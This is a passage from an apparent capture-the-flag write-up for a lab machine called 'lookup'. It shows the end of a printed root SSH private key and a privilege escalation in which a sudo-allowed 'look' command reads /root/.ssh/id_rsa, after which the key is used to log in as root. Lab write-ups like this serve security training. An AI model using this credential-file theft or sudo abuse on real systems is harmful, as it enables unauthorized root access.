AMEAytl5PGb1fSnUYB2Q+GKyEk/SGmRdzV07LiF9FgHMCsEJEenk6rArffc2FaltHYQ/Hz
w/GnQakUjYQTNnUIUqcxC59SvbfAKf6nbpYHzjmWxXnOvkoJ7cYZ/sYo5y2Ynt2QcjeFxn
vD9I8ACJBVQ8LYUffvuQUHYTTkQO1TnptZeWX7IQml0SgvucgXdLekMNu6aqIh71AoZYCj
rirB3Y5jjhhzwgIK7GNQ7oUe9GsErmZjD4c4KueznC5r+tQXu3AAAAwQDWGTkRzOeKRxE/
C6vFoWfAj3PbqlUmS6clPOYg3Mi3PTf3HyooQiSC2T7pK82NBDUQjicTSsZcvVK38vKm06
K6fle+0TgQyUjQWJjJCdHwhqph//UKYoycotdP+nBin4x988i1W3lPXzP3vNdFEn5nXd10
5qIRkVl1JvJEvrjOd+0N2yYpQOE3Qura055oA59h7u+PnptyCh5Y8g7O+yfLdw3TzZlR5T
DJC9mqI25np/PtAKNBEuDGDGmOnzdU47sAAADBAMeBRAhIS+rM/ZuxZL54t/YL3UwEuQis
sJP2G3w1YK7270zGWmm1LlbavbIX4k0u/V1VIjZnWWimncpl+Lhj8qeqwdoAsCv1IHjfVF
dhIPjNOOghtbrg0vvARsMSX5FEgJxlo/FTw54p7OmkKMDJREctLQTJC0jRRRXhEpxw51cL
3qXILoUzSmRum2r6eTHXVZbbX2NCBj7uH2PUgpzso9m7qdf7nb7BKkR585f4pUuI01pUD0
DgTNYOtefYf4OEpwAAABFyb290QHVidW50dXNlcnZlcg==
-----END OPENSSH PRIVATE KEY-----
think@lookup:~$ sudo look '' "/root/.ssh/id_rsa" > /tmp/root;chmod 600 /tmp/root
think@lookup:~$ ssh 0.0.0.0 -i /tmp/root
The authenticity of host '0.0.0.0 (0.0.0.0)' can't be established.
ECDSA key fingerprint is SHA256:hCU4CBHGs0axyMgyDsZBy1GHRljqponOxB4rQDOUOzA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/home/think/.ssh/known_hosts).
think@0.0.0.0's password: 

think@lookup:~$ ssh root@0.0.0.0 -i /tmp/root
The authenticity of host '0.0.0.0 (0.0.0.0)' can't be established.
ECDSA key fingerprint is SHA256:hCU4CBHGs0axyMgyDsZBy1GHRljqponOxB4rQDOUOzA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/home/think/.ssh/known_hosts).
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 23 Sep 2024 11:04:45 AM UTC

  System load:              0.03
  Usage of /:               62.5% of 9.75GB
  Memory usage:             43%
  Swap usage:               0%
  Processes:                211
  Users logged in:          0
  IPv4 address for enp0s17: 192.168.10.101
  IPv6 address for enp0s17: fd00:4c10:d50a:f900:a00:27ff:fefd:3131

  => There are 2 zombie processes.

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

7 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Sep 11 09:24:50 2024
root@lookup:~$

image-20240923190600859

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